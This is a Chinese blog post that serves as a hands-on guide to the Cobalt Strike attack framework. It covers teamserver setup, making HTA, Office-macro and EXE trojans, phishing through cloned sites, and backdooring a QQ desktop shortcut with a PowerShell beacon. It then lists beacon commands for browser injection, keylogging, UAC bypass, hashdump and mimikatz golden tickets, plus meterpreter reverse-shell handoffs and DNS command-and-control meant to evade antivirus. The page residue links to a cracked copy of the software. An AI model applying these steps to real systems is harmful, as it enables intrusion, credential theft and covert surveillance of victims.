cobaltstrike3.5使用记录
参考链接:
https://www.ezreal.net/archives/166.html
http://blog.cobaltstrike.com/category/cobalt-strike-2/ cobaltstrike作者博客
https://wujunze.com/wooyun/drops/Cobalt%20Strike%20之团队服务器的搭建与DNS通讯演示.html
cobalt strike从3.0 开始,不再依赖于Metasploit框架而是作为一个独立的平台使用。本次服务器搭建过程使用cobaltstrike3.8。3.0之前的版本,teamserver搭建过程则需要安装配置msf,这里不在赘述。
一、服务器Teamserver搭建
(1)团队服务器上:
(VPS的话要写外网ip,并且可以进行端口映射,默认使用50050端口)
sudo ./teamserver 服务器IP 连接密码
但是这个终端一关闭团队服务器也就关闭了,这里我们可以把他置于后台来运行:
nohup ./teamserver IP 密码 &
这样就可以了,这个目录下会生成一个nohup.out的文件
注意
1.内存使用超过%50 无法启动java虚拟机。
2.3.0之前的版本,结束Cobalt Strike的时候也要同时结束所有 msfrpcd 进程,否则下次会启动不了。
(2)使用客户端连接
java -jar cobaltstrike.jar
个人在使用过程中,曾经出现过jvm内存不够的问题,导致服务器运行出错。可以添加swap虚拟内存,具体可以参考我的另外一篇博文:linux添加swap
二、Cobaltstrike的使用
1.创建Listener
Cobalt Strike首先需要创建一个Listener,用于监听会话和接受shell连接。依次点击 Cobalt Strike->Listeners ,点击Add便可以创建自己想要的Listener。
2. Attacks过程
(1)Packages
这个选项中包含了多种攻击方式。

HTML Application 生成恶意的HTA木马文件;
MS Office Macro 生成office宏病毒文件;
Payload Generator 生成各种语言版本的payload;
USB/CD AutoPlay 生成利用自动播放运行的木马文件;
Windows Dropper 捆绑器,能够对文档类进行捆绑;
Windows Executable 生成可执行exe木马;
Windows Executable(S) 生成无状态的可执行exe木马
举例
HTML Application 生成一个基于powershell的恶意HTA木马
选中attack–>packages–>HTML Application
选择基于powershell的HTA木马
点击Generate保存录即可生成一个HTA木马
当目标点击HTA木马后即可获得一个beacon
MS Office Macro 生成office宏病毒文件
可以参考:Office Phishing
(2)Web Drive-by(钓鱼攻击)

Manage 对开启的web服务进行管理;
Clone Site 克隆网站,可以记录受害者提交的数据;
Host File 提供一个文件下载,可以修改Mime信息;Host File 可以配合DNS欺骗实现挂马效果使用
PowerShell Web Delivery 类似于msf 的web_delivery ;
Signed Applet Attack 使用java自签名的程序进行钓鱼攻击;
Smart Applet Attack 自动检测java版本并进行攻击,针对Java 1.6.0_45以下以及Java 1.7.0_21以下版本;
System Profiler 用来获取一些系统信息,比如系统版本,Flash版本,浏览器版本等。
Spear Phish 用来邮件钓鱼的模块
还有其他的模块其实都差不多
如Signed Applet Attack Smart Applet Attack和S.E.T的java攻击向量相同
powershell web-Drive-by制作快捷方式后门:
依次选择attack–>web-Drive-by–>powershell Drive-by
URI Path:/
Local Port:
Listener:saya
Laubch生成之后会输出一条语句这条语句在powershell运行会得到一个beacon但是一般人不会这么去运行
随便复制一个软件的快捷方式
这里以QQ快捷方式为例子目标,复制我们的powershell语句,起始位置清空,粘贴我们的语句,"应用",当目标点击快捷方式获得beacon
(3)View

Applications 显示受害者机器的应用信息;
Credentials 显示受害者机器的凭证信息,能更方便的进行后续渗透;
Downloads 文件下载;
Event Log 可以看到事件日志,清楚的看到系统的事件,并且团队可以在这里聊天;
Keystrokes 查看键盘记录;
Proxy Pivots 查看代理信息;
Screenshots 查看屏幕截图;
Script Console 在这里可以加载各种脚本以增强功能,脚本地址:https://github.com/rsmudge/cortana-scripts
Targets 查看目标;
Web Log 查看web日志。
Reporting 主要就是出报告用的
(4)Beacon
Beacon可以选择通过DNS还是HTTP协议出口网络,你甚至可以在使用Beacon通讯过程中切换HTTP和DNS。其支持多主机连接,部署 好Beacon后提交一个要连回的域名或主机的列表,Beacon将通过这些主机轮询。目标网络的防护团队必须拦截所有的列表中的主机才可中断和其网络的 通讯。通过种种方式获取shell以后(比如直接运行生成的exe),就可以使用beacon了
右击电脑,Interact,则可打开Beacon Console;为了能快速显示结果,可以设置
beacon>sleep
1)Browserpivot
用户注入受害者浏览器进程,然后开启HTTP代理,之后就可以登录受害者登录的网站了。
使用方式
ps找到浏览器进程PID,如iexplorer.exe,为3452
注入进程:beacon> browserpivot 3452(PID) x64(架构)
注入浏览器进程成功之后,会显示: Browser Pivot HTTP proxy is at: xxx.xxx.xxx.xxx:端口号
设置本地HTTP浏览器代理
当然当被攻击者关闭浏览器的时候,代理也就失效了,关闭此代理可使用如下命令:browserpivot stop
2)Socks
直接开启socks4a代理,可以通过代理进行内网渗透测试。
开启socksbeacon>socks 9999
这里可以选择其中一台,右键Pivoting->SOCKS Server,则使用此台计算机开启socks代理。
配置proxychains.conf,添加: socks4 127.0.0.1 9999
然后就可以通过proxychains 等各种工具做内网渗透了。
msf中开启隧道使用(在连接数据库的情况下,msf会与本地数据库断开)
msf>setg Proxies socks:192.168.1.103.
关闭socks:beacon>socks stop
3)Screenshot
这里的screenshot可以截取受害者一定时间的屏幕截图,操作命令为:
beacon>screenshot [pid] <x86|x64> [run time in seconds]
或者: beacon>screenshot
然后打开View->Screenshots,则可以看到屏幕截图
4)Keylogger键盘记录器
keylogger [pid] <x86|x64>
然后打开View->Keystrokes,则可以看到键盘记录结果
如果不想使用命令行,可以直接选择受害者计算机(可多选)
5)powershell-import
这个功能在后渗透测试中很有用,可以导入各种powershell渗透框架,比如nishang的powerpreter,直接执行:
beacon> powershell-import
然后在文件浏览器里面选择 Powerpreter.psm1
或者直接执行:
powershell-import [/path/to/local/script.ps1]
进行导入,之后就可以使用powerpreter的各种模块了。
要执行某模块直接使用如下命令,比如:beacon> powershell Check-VM
6)kerberos
这里一共有三个模块,分别是:
kerberos_ccache_use 从ccache文件中导入票据
kerberos_ticket_purge 清除当前会话的票据
kerberos_ticket_use 从ticket文件中导入票据
使用mimikatz:
kerberos::golden /admin:USER /domain:DOMAIN /sid:SID /krbtgt:HASH /ticket:FILE
乌云关于kerberos也有相关文章
http://drops.wooyun.org/tips/7547 内网渗透中的mimikatz
http://drops.wooyun.org/tips/9591 域渗透的金之钥匙
7)BypassUAC
直接执行:
beacon> bypassuac
下面你就可以执行那些需要最高权限的操作了。
这一块在测试Win10的时候并没有成功,关于Win10的bypassuac可以参考这篇文章:
使用一个作者修改的powershell脚本invoke-BypassUAC.ps1
生成一个beacon后门:
Windows Executable
Listener:reverse_http
Output: Windows EXE 上传后门:
beacon> cd E:
beacon> upload /Users/evi1cg/Desktop/test.exe
加载powershell执行后门: beacon> powershell-import /Users/evi1cg/Pentest/Powershell/MyShell/invoke-BypassUAC.ps1
beacon> powershell Invoke-BypassUAC -Command 'E:\test.exe' 使用那个破了的电脑的beacon读取密码:
beacon> sleep
beacon> wdigest
beacon> hashdump
三、高级用法
1、cobalt strike派生shell给metasploit
首先我们使用msf的reverse_tcp开启监听模式:
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.1.100
lhost => 192.168.1.100
msf exploit(handler) > set lport
lport =>
msf exploit(handler) > exploit
之后使用Cobalt Strike创建一个
windows/foreign/reverse_tcp Listener
其中ip为msf的ip地址,端口为msf所监听的端口。
然后选中计算机,右键->Spawn,选择刚刚创建的监听器:
msf中即可看到成功获取了meterpreter会话
2、Metasploit派生shell给cobaltstrike
你前提需要有一个meterpreter会话 ,然后我们使用这个模块
exploit/windows/local/payload_inject
功能是注入一个新的payload 到当前的session里面
我们先在cobaltstrike上创建一个监听器,等会用于接收msf派生的shell,这里我使用
windows/beacon_http/reverse_http
然后在msf中
use exploit/windows/local/payload_inject
msf exploit(payload_inject) > set PAYLOAD windows/meterpreter/reverse_http
msf exploit(payload_inject) > set DisablePayloadHandler true
DisablePayloadHandler => true
msf exploit(payload_inject) > set LHOST 192.168.81.135
LHOST => 192.168.81.135
msf exploit(payload_inject) > set LPORT
LPORT =>
msf exploit(payload_inject) > set SESSION
SESSION =>
msf exploit(payload_inject) > exploit
[*] Running module against WIN-I6HQQE1E7AG
[*] Launching notepad.exe...
[*] Preparing 'windows/meterpreter/reverse_http' for PID
msf exploit(payload_inject) >
解释下:
cobaltstrike的监听器我们使用的是:windows/beacon_http/reverse_http,
所以我们msf的payload要使用:windows/meterpreter/reverse_http
设置msf本地监听ip和端口为cobaltstrike机器的ip和端口
默认情况下,payload_inject执行之后会在本地产生一个新的handler,
由于我们已经有了一个,所以不需要在产生一个,所以这里我们设置
set DisablePayloadHandler true
如果出现错误,PID does not actually exist,可以设置一下注入进程的pid。set pid 进程号
3、通过DNS控制目标
Cobalt Strike有个beacons的功能,它可以通过DNS,HTTP,SMB来传输数据,下面我以DNS为例演示下。通过DNS来控制目标和渗透好处是不开端口,能绕过大部分防火墙,隐蔽性好等等。详细文章可参考这篇博文。
1. 域名设置
(1)首先我们的有个域名,并且创建一条A记录指向我们的metasploit服务器,记住不要用CDN什么的
(2)然后再创建2个或3个ns记录指向刚才创建的A记录。这样我们就可以通过dns找到我们的metasploit服务器了。
2. Cobalt Strike设置
在Cobalt Strike中我们添加一个listener
Edit Listener
Payload windows/beacon_dns/reverse_http
host
port
HOST填写的是metasplit服务的IP,在点击Save的时候会要求填写你的NS记录,这里写入我们刚才创建的3个ns记录。接下来创建一个木马测试下。
3. 木马生成
在attack->packages中找到windows木马生成
Windows Executable
Listener: beacon(DNS)
Output: Windows EXE
Listener选择我们刚才创建的(有两个,选择有DNS的那个),输出的有exe,带服务的EXE,dll等。
(连接方式以DNS生成的DLL木马能过掉很大一部分杀毒软件)
把生成的DNS.EXE放到虚拟机中运行。
回到Cobalt Strike打开beacons管理器发现有一个服务端响应了我们
右键是管理菜单,选择sleep设置相应的时间,然后选择interact来到操作界面
4.设置传输模式
传输有dns、dns-txt,http,smb四种,我们这里用的是DNS就在dns、dns-txt中选择把,前者传送的数据小后者传送的数据多。命令
beacon> mode dns-txt(这里可以用TAB补齐命令的)
这中方式好处在于比较对控制目标主机比较隐蔽,缺点在每次的命令的返回结果比较慢,在过防火墙方面还是不错的。
拓展
cobaltstrike3.5使用记录的更多相关文章
- CobaltStrike3.12/13 破解
更新3.13破解版 链接: https://pan.baidu.com/s/14e0tpVPzUhiAhYU2_jvBag 提取码: d9uf MacOS客户端: 链接: https://pan.ba ...
- cobaltstrike3.8服务器搭建及使用
参考链接: https://www.ezreal.net/archives/166.htmlhttp://blog.cobaltstrike.com/category/cobalt-strike-2/ ...
- 记一次debug记录:Uncaught SyntaxError: Unexpected token ILLEGAL
在使用FIS3搭建项目的时候,遇到了一些问题,这里记录下. 这里是发布搭建代码: // 代码发布时 fis.media('qa') .match('*.{js,css,png}', { useHash ...
- nginx配置反向代理或跳转出现400问题处理记录
午休完上班后,同事说测试站点访问接口出现400 Bad Request Request Header Or Cookie Too Large提示,心想还好是测试服务器出现问题,影响不大,不过也赶紧上 ...
- Kali对wifi的破解记录
好记性不如烂笔头,记录一下. 我是在淘宝买的拓实N87,Kali可以识别,还行. 操作系统:Kali 开始吧. 查看一下网卡的接口.命令如下 airmon-ng 可以看出接口名称是wlan0mon. ...
- 2015 西雅图微软总部MVP峰会记录
2015 西雅图微软总部MVP峰会记录 今年决定参加微软MVP全球峰会,在出发之前本人就已经写这篇博客,希望将本次会议原汁原味奉献给大家 因为这次是本人第一次写会议记录,写得不好的地方希望各位园友见谅 ...
- 分享一个SQLSERVER脚本(计算数据库中各个表的数据量和每行记录所占用空间)
分享一个SQLSERVER脚本(计算数据库中各个表的数据量和每行记录所占用空间) 很多时候我们都需要计算数据库中各个表的数据量和每行记录所占用空间 这里共享一个脚本 CREATE TABLE #tab ...
- 我是如何在SQLServer中处理每天四亿三千万记录的
首先声明,我只是个程序员,不是专业的DBA,以下这篇文章是从一个问题的解决过程去写的,而不是一开始就给大家一个正确的结果,如果文中有不对的地方,请各位数据库大牛给予指正,以便我能够更好的处理此次业务. ...
- 前端学HTTP之日志记录
前面的话 几乎所有的服务器和代理都会记录下它们所处理的HTTP事务摘要.这么做出于一系列的原因:跟踪使用情况.安全性.计费.错误检测等等.本文将谥介绍日志记录 记录内容 大多数情况下,日志的记录出于两 ...
随机推荐
- jq向webApi提交post json数据
在页面想webApi post json数据的时候,发现webapi不能直接以json的方式接受数据(注:我是没有发现一个很好的方式来post json数据的);但是可以以数据结构的方式传递: 如下: ...
- PHP绿色集成环境在云服务器上的应用,PHPWAMP在服务器上搭建网站案例
问:什么叫WAMP?答:Windows下的Apache+Mysql+PHP,称之为WAMP. 本文案例采用的PHP集成环境是我自己开发的纯绿色版WAMP软件(PHPWAMP). 我在这款集成环境里集成 ...
- js 判断是否为正数
function validate(num) { var reg = /^\d+(?=\.{0,1}\d+$|$)/ if(reg.test(num)) return true; return ...
- 关于对HandlerThread的了解
在Android中经常需要创建一个循环线程,有耗时操作时候,放到里面去操作,如果没有耗时操作,就让该线程处于等待,但是不要杀死它, 最好不要一旦有耗时任务,就立刻创建一个新线程,因为会有性能问题. H ...
- Django回忆录
Django使用回忆: 1.安装django: pip install django==1.9 2.创建项目及应用: django-admin startproject web django-admi ...
- python新手 实践操作 作业
#有如下值集合 [11,22,33,44,55,66,77,88,99],将所有大于 66 的值保存至字典的第一个key中,将小于 66 的值保存至第二个key的值中.即: {'k1': 大于66的所 ...
- DUIlib使用Fastreport--自定义的数据
报表根据数据源的可以分为拉模式和推模式,拉模式就是在报表中添加数据源组件从数据库中拉取数据,我们上篇报表的简单使用就是拉模式.而推模式就是在程序中构造数据托给报表显示.这篇我们这要说的是推模式. 在程 ...
- 阿里云Linux服务器挂载硬盘分区
查看所有硬盘与分区 fdisk -l 运行命令 fdisk /dev/xvdb 根据提示,依次输入 n p 1 (数字一 不是 L) 回车 回车 w 提示 Syncing disks.时,表示已 ...
- 关于IIS和.NET 4.0的问题总结(转)
注册asp.net 4.0 到iis 如果没有按照正常的先装iis后装.net的顺序,可以使用此命令重新注册一下 运行->cmd Microsoft Windows [版本 6.1.7601 ...
- SXT分布式缓存技术公开课的观后感
最近几天在研究Redis,Redis作为最近比较流行的缓存技术,其特点还是很明显的,Redis使用Key-Value的结构来存储数据,Redis也是内存型的数据库,数据一开始是保存在内存中的,通过某些 ...